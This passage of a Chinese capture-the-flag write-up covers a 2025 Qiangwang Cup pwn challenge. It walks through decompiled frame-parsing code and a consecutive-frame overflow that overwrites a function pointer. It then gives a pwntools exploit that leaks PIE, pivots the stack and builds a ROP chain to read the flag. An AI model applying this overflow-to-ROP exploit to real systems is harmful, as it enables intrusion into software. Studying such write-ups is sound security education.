n6 = n7;
if ( n7 >= 7 )
n6 = 6LL;
}
sub_1840(a2 + 2, n6);
__printf_chk(1LL, "[FF] id=0x%X total=%zu copied=%zu\n", a1, n_3, n6);
}
else if ( n32 == 32 )
{
v8 = n_1 & 0xF;
if ( dword_4040 )
{
[err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n = "[err] CF seq mismatch exp=%u got=%u @ handler=%p\n";
if ( dword_4010 == v8 )
{
n7_1 = 0LL;
dword_4010 = v8 % 0xF + 1;
if ( n2 != 1 )
{
n8 = n2 - 1;
n7_1 = n8;
if ( n8 >= 8 )
n7_1 = 7LL;
}
sub_1840(a2 + 1, n7_1);
[err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n = "[CF] id=0x%X seq=%u copied=%zu\n";
}
__printf_chk(1LL, [err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n);
}
else
{
__printf_chk(1LL, "[err] stray CF while not in segmented state @ handler=%p\n", content_deal);
}
}
else
{
puts("[?] unsupported frame");
}
}
else
{
qword_4048 = 0LL;
dword_4040 = 0;
n = n2 - 1;
dword_4010 = 1;
if ( n > n_1 )
n = n_1;
n = n;
sub_1840(a2 + 1, n);
__printf_chk(1LL, "[SF] id=0x%X len=%zu\n", a1, n);
}
}
}
在数据处理部分,又根据[命令头部HEX]将数据包分为单帧,首帧和连续帧
每次数据发送结束,都会调用sub_1840将数据包集体复制到全局变量缓冲区buf中
然后调用一个结构体中的函数指针进行handle操作
__int64 __fastcall deal(void *src, size_t n){
unsigned __int64 v2; // rbx
__int64 result; // rax
v2 = n + offset;
memcpy((char *)&buf_ + offset, src, n);
offset = v2;
result = ::n - 1;
if ( ::n - 1 < v2 )
{
sub_17F0();
return psub_16E0(&buf_);
}
return result;
}
intsub_17F0(){
mprotect((void *)((unsigned __int64)&dword_218C & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3);
dword_218C = 1;
return mprotect((void *)((unsigned __int64)&dword_218C & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
}
注意这里的psub_16E0是根据函数指针进行调用的,也就是我们的结构体中的函数指针
随后我们对buf周围的变量进行的观察
.bss:0000000000006060 buf_ db ? ; ; DATA XREF: Init↑o
...
.bss:0000000000006160 psub_16E0 dq ? ; DATA XREF: Init+3B↑w
这枚函数指针恰好存放在buf高0x100的地址处。
而且对连续帧的观察得到,并没有限制连续帧的数据长度上限。
也就是说如果我们发送的是连续帧,且长度超过0x100,就会覆盖原本的函数指针。
攻击
由于程序开启了所有保护,且不存在后门函数,我们无法一下子跳转到确定的目标
但我们知道,程序开启了沙箱,禁止了execve类的函数调用,我们的最终手段一定是orw
orw需要我们连续执行函数并控制参数,只有ROP能做到这一点。
由于不存在栈溢出,我们又必须要进行栈迁移才能达成ROP
.text:00000000000016E0 ; int puts_()
.text:00000000000016E0 _puts_ proc near ; DATA XREF: Init+2A↓o
.text:00000000000016E0 ; __unwind {
.text:00000000000016E0 endbr64
.text:00000000000016E4 lea rdi, aCbDefaultHandl ; "[cb] default handler."
.text:00000000000016EB jmp _puts
.text:00000000000016EB ; } // starts at 16E0
.text:00000000000016EB _puts_ endp
最开始的handle函数是这个,打印一句话并返回
如果我们将函数指针最低字节从E0偏移到E4,就可能导致rdi中的内容出现非预期
通过调试可知,这样会泄露出我们刚刚输入的连续帧数据,如果这里面不存在\x00截断的话,还可以泄露出handle指针,也就是说我们可以泄露PIE。
此时我们可以正常返回main中 , 可以再次修改函数指针
此时text段的gadget都可以拿来用,可以先使用ROPgadget寻找合适的片段
一个很醒目的特色gadget,很明显可以用来栈迁移
再结合之前说的,执行handle函数时,rdi为buf上的输入的起始地址,一切就都通了
我们可以将handle覆盖为这个gadget,将栈迁移到bss上,在前0x100字节布置好泄露libc的ROP+二次注入ROP的ROP
即可执行任意长度的ROP链
EXP
from pwn import *
io=process('./pwn')
def bug():
gdb.attach(io)
io.sendlineafter(b"Enter magic number:",b"12803159")
io.recvuntil(b"> bad format.")
def s(data):
mode=0x10
payloads = []
if len(data) <= 7:
pci = bytes([len(data)])
frame = pci + data
payloads.append(frame)
else:
total_len = len(data)
pci = bytes([0x10 | ((total_len >> 8) & 0xF)]) + bytes([total_len & 0xFF])
ff_data = data[:6]
payloads.append(pci + ff_data)
data = data[6:]
seq = 1
while data:
chunk = data[:7]
data = data[7:]
pci = bytes([0x20 | (seq & 0xF)])
cf = pci + chunk
payloads.append(cf)
seq = (seq + 1) & 0xF
if seq == 0:
seq = 1
for frame in payloads:
hex_part = frame.hex().upper()
line = f"{mode:X}#{hex_part}".encode()
io.sendlineafter(b"> ", line)
print("[Send]", line)
s(b"\xAA"*0x100+p8(0XEB))
io.recvuntil(b"\xaa"*0x100)
base=u64(io.recv(6)+b'\x00'*2)-0x16EB
print(hex(base))
io.sendline("reset")
rdi=base+0x0000000000001557
rsi=base+0x0000000000001555
#rdx
rop=p64(rdi)+p64(base+0x3F68)+p64(base+0x1160)+p64(rdi)+p64(base+0x615b)+p64(rsi)+p64(base+0x6060+0x50-8)*2+p64(rdi+1)+p64(base+0x11A0)
s(p64(rdi+1)+rop.ljust(0xe8,b'\x00')+b"\x00\x00\x00%s\x00\x00\x00"+p64(base+0x12d3))#使用scanf("%s",buf)实现二次注入
io.recvuntil(b"> ")
pie=base
base=u64(io.recv(6)+b'\x00\x00')-0x19ca40
print(hex(base))
orw =b"./flag"
orw+=...
io.sendline(orw)
io.interactive()
#
看雪ID:zer00ne
https://bbs.kanxue.com/user-home-1024538.htm
*本文为看雪论坛精华文章,由 zer00ne 原创,转载请注明来自看雪社区
往期推荐
静态程序分析之数据流分析(Foundations + LiveVar Analysis Code)续
基于Minifilter实现目录保护软件,自定义保护目录,用户可选择是否允许文件行为
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 zer00ne
zer00ne《2025 强网杯和强网拟态部分题解》